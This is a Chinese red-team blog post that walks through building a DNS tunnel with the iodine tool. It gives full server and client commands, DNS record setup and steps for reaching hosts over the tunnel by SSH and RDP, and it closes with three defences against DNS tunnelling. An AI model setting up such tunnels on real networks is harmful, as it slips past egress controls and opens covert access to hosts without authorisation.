通过DNS隧道进行通信: iodine

  • A+
所属分类:安全文章

渗透攻击红队

一个专注于红队攻击的公众号

通过DNS隧道进行通信 - iodine


大家好,这里是 渗透攻击红队 的第 21 篇文章,本公众号会记录一些我学习红队攻击的复现笔记(由浅到深),不出意外每天一更


通过DNS隧道进行通信: iodine
iodine


iodine 可以通过一台 DNS 服务器制造一个 IPv4 数据通道,特别适合在目标主机只能发送 DNS 请求的网络环境使用。


iodine 是基于 C 语言开发的,分别服务端程序 iodined 和客户端程序 iodine,Kali Linux 内置了 iodine。


iodine 下载地址:http://code.kryo.se/iodine


iodine支持多平台、支持16个并发连接,支持多种 DNS 记录类型,支持同网段隧道 IP 地址(不同于服务器一客户端网段)、支持强制密码机制。


iodine 支持直接转发和中继模式,其原理是:通过 TAP 虚拟网卡,在服务端建立一个局域网;在客户端,通过 TAP 建立一个虚拟网卡;两者通过 DNS 隧道连接,处于同一局域网(可以通过ping命令通信)。


在客户端和服务端之间建立连接之后,客户段机器上会多出一块名为“dns0”的虚拟网卡。



iodine 使用

iodine进行DNS通信



一、安装服务端

首先需要设置域名(域名越短,隧道的宽带消耗就越小)

设置A记录 iodine 服务器的 IP 地址:

通过DNS隧道进行通信: iodine

然后将 NS 记录指向此子域名:

通过DNS隧道进行通信: iodine

接下来,在服务端中安装 iodine:

apt install iodine

通过DNS隧道进行通信: iodine

安装后,就可以使用命令运行 iodine:

iodined -f -c -P saul 192.168.0.1 vpn.saulgoodman.club -DD
# -f 在前台运行# -c 禁止检查所有传入请求的客户端 IP 地址# -P 客户端和服务器之间用于验证身份的密码# -D 指定调试级别。-DD指的是二级,D的数量随等级增加# 192.168.0.1 是自定义的局域网虚拟 IP 地址

通过DNS隧道进行通信: iodine

之后可以通过 https://code.kryo.se/iodine/check-it/ 网站检查 iodine 是否配置成功:

通过DNS隧道进行通信: iodine

通过DNS隧道进行通信: iodine

显示 Well done, your iodine setup seems fine!  说明配置完成!

二、安装客户端

在 Linux 客户端机器上,只需安装 iodine 客户端:

iodine -f -P saul vpn.saulgoodman.club -M 200
# -r iodine有时候会自动将DNS隧道切换为UDP通道,该参数的作用是强制在任何情况下使用DNS隧道# -M 指定上行主机名的大小# -m 调节最大下行分片的大小# -T 指定所使用的DNS请求的类型,可选项有NULL,PRIVATE,TXT,SRV,CHAME,MX,A# -O 指定数据编码# -L 指定是否开启懒惰模式(默认开启)# -I 指定请求与请求之间的时间间隔

通过DNS隧道进行通信: iodine

之后客户端就多了一个网卡:192.168.0.3(dns0)

通过DNS隧道进行通信: iodine

通过DNS隧道进行通信: iodine

这样客户端和服务端就相当于在同一个局域网,我们就可以通过SSH登录服务端,反过来服务端也可以通过SSH登录服务端:

ssh 192.168.0.1

通过DNS隧道进行通信: iodine

在 Windows客户端:

windows客户端可以直接使用编译好的windows版本,同时需要安装TAP网卡驱动程序。也可以下载OpenVPN,在安装时仅选择TAP-Win32驱动程序:

通过DNS隧道进行通信: iodine

安装后服务器上就会多出一块“TAP-Wndows ADApter V9”的网卡:

通过DNS隧道进行通信: iodine

运行客户端程序iodine(cmd已管理员权限运行),如果出现提示“Connection setup complete, transmitting data”,就表示DNS隧道已经建立。

iodine.exe -f -P saul vpn.saulgoodman.club

通过DNS隧道进行通信: iodine

此时,TCPoverDNS已经建立了,在客户端ping 192.168.0.1命令可以ping通:

通过DNS隧道进行通信: iodine

DNS隧道使用方法比较简单,由于客户端和服务端在同一个局域网中,只要访问服务端即可。

例如想要登录目标主机的3389端口,就可以执行mstsc命令,同样目标主机也可以登录SSH服务端。

三、防御DNS隧道攻击的方法

1.禁止网络中任何人向外部服务器发送DNS请求,只允许与受信任的DNS服务器通信。

2.虽然没有人会将TXT解析请求发送给DNS服务器,但是邮件服务器/网关会这样做,因此,可以将邮件服务器/网关列入白名单并阻止传入和传出流量中的TXT请求。  

3.跟踪用户的DNS查询次数,如果达到阈值,就生成相应的报告。





参考文章:

https://mp.weixin.qq.com/s/jHTt-ucuIf_X7htEA5VyAQ

https://www.cnblogs.com/micr067/p/12263337.html


通过DNS隧道进行通信: iodine

渗透攻击红队

一个专注于渗透红队攻击的公众号

通过DNS隧道进行通信 - iodine



通过DNS隧道进行通信: iodine
点分享
通过DNS隧道进行通信: iodine
点点赞
通过DNS隧道进行通信: iodine
点在看


本文始发于微信公众号(渗透攻击红队):通过DNS隧道进行通信 - iodine

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: